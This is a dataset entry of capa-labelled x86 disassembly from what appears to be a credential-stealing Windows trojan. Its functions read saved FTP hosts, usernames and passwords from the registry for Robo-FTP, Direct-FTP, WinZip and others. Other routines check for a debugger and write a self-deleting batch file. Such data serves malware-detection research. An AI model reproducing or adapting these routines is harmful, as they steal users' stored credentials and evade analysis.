joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409a01
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x409a6d
push 0
push str.PathToExe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401cee
or eax, eax
je 0x409a6d
push eax
push eax
call fcn.004023a8
or eax, eax
je 0x409a68
mov dword [ebp - 0x18], eax
push 0x1a
call fcn.00401e2e
or eax, eax
je 0x409a60
push dword [ebp + 0x18]
push eax
call fcn.00401dc9
push eax
push dword [ebp - 0x18]
push eax
push dword [ebp + 8]
call fcn.00409886
call fcn.00401835
push dword [ebp - 0x18]
call fcn.00401835
call fcn.00401835
push 0x800
call fcn.0040184c
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x409afd
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x409abb
jmp 0x409af5
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
push dword [ebp - 8]
push eax
call fcn.00401dc9
mov dword [ebp - 0x14], eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp - 0x14]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409a01
push dword [ebp - 0x14]
call fcn.00401835
inc dword [ebp - 0x10]
jmp 0x409a94
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 8]
call fcn.00401835
leave
ret 0x14

Function at 0x40ac9c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414841]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40add3
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40acf4
jmp 0x40adcb
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x818], eax
call fcn.00401835
lea eax, [ebp - 0x10]
push eax
push str.SiteServers
push dword [ebp - 0x818]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40ad9f
cmp dword [ebp - 0x10], 4
jne 0x40ad94
mov eax, dword [ebp - 0x814]
push dword [eax]
pop dword [ebp - 0x814]
cmp dword [ebp - 0x814], 0x3e8
jbe 0x40ad6f
mov dword [ebp - 0x814], 0x3e8
jmp 0x40ad8b
dec dword [ebp - 0x814]
push dword [ebp - 0x814]
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040aa03
cmp dword [ebp - 0x814], 0
jne 0x40ad71
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040ac9c
push dword [ebp - 0x818]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40acc6
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40ce37
Capabilities:
Gather robo-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d08c
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40ce8c
jmp 0x40d084
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x814], eax
call fcn.00401835
lea eax, [ebp - 0xc]
push eax
push 0x416753
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x828], eax
push 0
push str.ServerName
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x818], eax
push 0
push 0x416767
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x82c]
push eax
push 0x41677f
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cee
or eax, eax
je 0x40cf3e
cmp dword [ebp - 0x82c], 4
jne 0x40cf3e
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.00401835
jmp 0x40cf52
or eax, eax
je 0x40cf48
push eax
call fcn.00401835
mov dword [ebp - 0x820], 0x15
push 0
push str.InitialDirectory
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x824], eax
push 0
push str.ServerType
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cee
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x828], 0
je 0x40d029
push 0x416795
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x828]
call fcn.004041a1
or eax, eax
je 0x40d029
cmp dword [ebp - 0xc], 0
je 0x40d029
cmp dword [ebp - 0x81c], 0
je 0x40d029
cmp dword [ebp - 0x818], 0
je 0x40d029
push 0xbeef0010
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0xc]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040151c
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x830]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x828]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x824]
call fcn.00401835
push dword [ebp - 0x81c]
call fcn.00401835
push dword [ebp - 0x830]
call fcn.00401835
push dword [ebp - 0x814]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040ce37
push dword [ebp - 0x814]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40ce5e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40d090
Capabilities:
Gather robo-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push str.FTP_Count
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401cee
or eax, eax
je 0x40d11b
push eax
cmp dword [ebp - 4], 4
jne 0x40d116
push dword [eax]
pop dword [ebp - 8]
cmp dword [ebp - 8], 0x1f4
jbe 0x40d0cc
mov dword [ebp - 8], 0x1f4
jmp 0x40d110
push dword [ebp - 8]
push str.FTP_File_d
lea eax, [ebp - 0x1c]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0
lea eax, [ebp - 0x1c]
push eax
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401cee
or eax, eax
je 0x40d10d
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403e31
call fcn.00401835
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x40d0ce
call fcn.00401835
leave
ret 8

Function at 0x40d385
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414841]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d557
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d3dd
jmp 0x40d54f
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x824], eax
call fcn.00401835
push 0
push str.Host
push dword [ebp - 0x824]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x810], eax
push 0
push str.User
push dword [ebp - 0x824]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push 0
push str.Pass
push dword [ebp - 0x824]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x818], eax
push 0
push 0x4167f5
push dword [ebp - 0x824]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x81c], eax
push 0
push str.Remote_Dir
push dword [ebp - 0x824]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x814], 0
je 0x40d4f7
push 0xbeef0000
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040d385
push dword [ebp - 0x824]
call fcn.00401835
push dword [ebp - 0x810]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x81c]
call fcn.00401835
push dword [ebp - 0x820]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40d3af
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40d7bf
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d99f
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d814
jmp 0x40d997
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x828], eax
call fcn.00401835
push 0
push str.HostName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x810], eax
push 0
push str.UserName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push 0
push str.Password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.PortNumber
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x81c], eax
push 0
push str.TerminalType
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x810], 0
je 0x40d93c
cmp dword [ebp - 0x814], 0
je 0x40d93c
cmp dword [ebp - 0x818], 0
je 0x40d93c
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040d7bf
push dword [ebp - 0x828]
call fcn.00401835
push dword [ebp - 0x810]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x81c]
call fcn.00401835
push dword [ebp - 0x820]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40d7e6
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40da27
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40dc5c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40da7c
jmp 0x40dc54
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x828], eax
call fcn.00401835
push 0
push str.FTP_destination_server
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x810], eax
push 0
push str.FTP_destination_user
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push 0
push str.FTP_destination_password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FTP_destination_port
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x81c], eax
push 0
push str.FTP_destination_catalog
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x830]
push eax
push str.FTP_profiles
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x810], 0
je 0x40dbc4
cmp dword [ebp - 0x814], 0
je 0x40dbc4
cmp dword [ebp - 0x818], 0
je 0x40dbc4
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.00401548
cmp dword [ebp - 0x830], 0
je 0x40dbee
push 0xbeef0001
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040da27
push dword [ebp - 0x828]
call fcn.00401835
push dword [ebp - 0x810]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x81c]
call fcn.00401835
push dword [ebp - 0x820]
call fcn.00401835
push dword [ebp - 0x82c]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40da4e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40dffc
Capabilities:
Gather winzip information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e141
push 0
push str.Site
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 8], eax
push 0
push str.UserID
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
push str.xflags
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x10], eax
push 0
push str.Port
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x14], eax
push 0
push str.Folder
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x10], 0
je 0x40e111
cmp dword [ebp - 0x1c], 0
je 0x40e111
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.00402a8a
or eax, eax
je 0x40e111
shr dword [ebp - 0x1c], 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.004041a1
or eax, eax
je 0x40e111
cmp dword [ebp - 8], 0
je 0x40e111
cmp dword [ebp - 0xc], 0
je 0x40e111
cmp dword [ebp - 0x10], 0
je 0x40e111
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004014e6
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.0040151c
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 0x18]
push dword [ebp + 0x10]
call fcn.00401548
push dword [ebp - 8]
call fcn.00401835
push dword [ebp - 0xc]
call fcn.00401835
push dword [ebp - 0x10]
call fcn.00401835
push dword [ebp - 0x14]
call fcn.00401835
push dword [ebp - 0x18]
call fcn.00401835
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40e145
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e20a
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x40e19c
jmp 0x40e202
cmp dword [ebp - 0x814], 1
je 0x40e1aa
inc dword [ebp - 8]
jmp 0x40e16c
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cee
or eax, eax
je 0x40e1fa
mov dword [ebp - 0x810], eax
push str..wjf
push dword [ebp - 0x810]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40e1ef
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.0040dec3
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40e16c
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40e7be
Capabilities:
Query or enumerate registry key
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
push 0x105
call fcn.0040184c
mov dword [ebp - 0x818], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e8f9
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40e823
jmp 0x40e8f1
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x810], eax
call fcn.00401835
push 0
push str.Path
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401cee
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40e8c2
push str.PocoSystem.ini
push dword [ebp - 0x814]
call fcn.00401d75
push eax
push eax
push 0x104
push dword [ebp - 0x818]
push 0x41481f
push str.DataPath
push str.Program
call sub.kernel32.dll_GetPrivateProfileStringA
cmp eax, 3
jbe 0x40e8bd
push 0xbeef0000
push str.accounts.ini
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00404116
call fcn.00401835
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040e7be
push dword [ebp - 0x810]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40e7f5
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0x818]
call fcn.00401835
leave
ret 0xc
Function at 0x40f0d2
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40f16d
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40f120
jmp 0x40f165
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401dc9
mov dword [ebp - 0x810], eax
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040ef3d
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40f0f5
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40f171
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40f217
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40f1c3
jmp 0x40f20f
push 0x41481d
push dword [ebp + 0x10]
call fcn.00401d75
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401dc9
push dword [ebp + 0x14]
push eax
call fcn.00401dc9
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f0d2
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40f198
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x40f749
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push ebp
mov ebp, esp
pop ebp
push 0x40f75e
clc
jb 0x40f75d
ret
inc edi
inc ebp
cld
add byte [eax], al
add byte [eax], al
mov edi, 0x417151
push dword [ebp + 8]
pop dword [0x4172dd]
mov eax, dword fs:[0x30]
cmp byte [eax + 2], 0
je 0x40f787
push dword [ebp + 8]
call fcn.00401021
jmp 0x40f844
call fcn.00402387
push dword [ebp + 8]
call fcn.0040149f
mov dword [0x4172d9], eax
push dword fs:[0]
mov eax, esp
push dword fs:[0]
push ebp
push eax
push 0x40f83a
push 0x40f7f3
push eax
mov dword fs:[0], esp
push dword [ebp + 8]
call dword [edi]
cmp dword [edi], 0x4043c2
je 0x40f7ee
cmp eax, 0x10
je 0x40f7dd
mov dword [ebp - 4], 1
jmp 0x40f7ee
push dword [0x4172d9]
push dword [0x4172dd]
call fcn.004012dc
add esp, 0x18
jmp 0x40f83a
pop dword fs:[0]
add edi, 4
cmp dword [edi], 0
jne 0x40f78c
mov eax, dword [ebp - 4]
pop edi
leave
ret 4
Function at 0x40fc34
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebp
mov ebp, esp
pop ebp
push 0x40fc48
clc
jb 0x40fc47
ret
dec dword [ebx - 0x6f36742e]
push 0x105
call fcn.0040184c
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 0x14], eax
nop
call sub.kernel32.dll_GetTickCount
push eax
push str._d.bat
push dword [ebp - 0x14]
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x105
call fcn.0040184c
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 4], eax
mov edx, edx
mov ecx, ecx
nop
push 0x105
call fcn.0040184c
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 0x10], eax
nop
push 0x105
call fcn.0040184c
mov edx, edx
mov ecx, ecx
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 8], eax
mov ecx, ecx
mov edx, edx
mov edx, edx
mov ecx, ecx
nop
push 0x104
push dword [ebp - 4]
push dword [0x417306]
call sub.kernel32.dll_GetModuleFileNameA
nop
mov edx, edx
mov ecx, ecx
mov edx, edx
mov ecx, ecx
push dword [ebp - 0x10]
push 0x104
call sub.kernel32.dll_GetTempPathA
or eax, eax
je 0x40fcfe
mov ecx, ecx
mov edx, edx
nop
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcatA
mov edx, edx
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov ecx, ecx
mov dword [ebp - 0xc], eax
mov ecx, ecx
inc eax
or eax, eax
jne 0x40fd65
push dword [ebp - 4]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcpyA
push 0x5c
push 0
push dword [ebp - 0x10]
call sub.shlwapi.dll_StrRChrIA
or eax, eax
je 0x40fd48
inc eax
push dword [ebp - 0x14]
push eax
call sub.kernel32.dll_lstrcpyA
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0xc], eax
inc eax
je 0x40fdd0
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
call sub.kernel32.dll_lstrlenA
push eax
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
push dword [ebp - 0xc]
call fcn.00401422
push eax
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
pop eax
or eax, eax
jne 0x40fd8d
jmp 0x40fdd0
push dword [ebp - 4]
push str.________s_
push dword [ebp - 8]
call sub.user32.dll_wsprintfA
add esp, 0xc
push str.shell32.dll
call sub.kernel32.dll_LoadLibraryA
or eax, eax
je 0x40fdd0
push str.ShellExecuteA
push eax
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x40fdd0
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
push str.open
push 0
call eax
push dword [ebp - 0x14]
call fcn.00401835
push dword [ebp - 4]
call fcn.00401835
push dword [ebp - 0x10]
call fcn.00401835
push dword [ebp - 8]
call fcn.00401835
leave
ret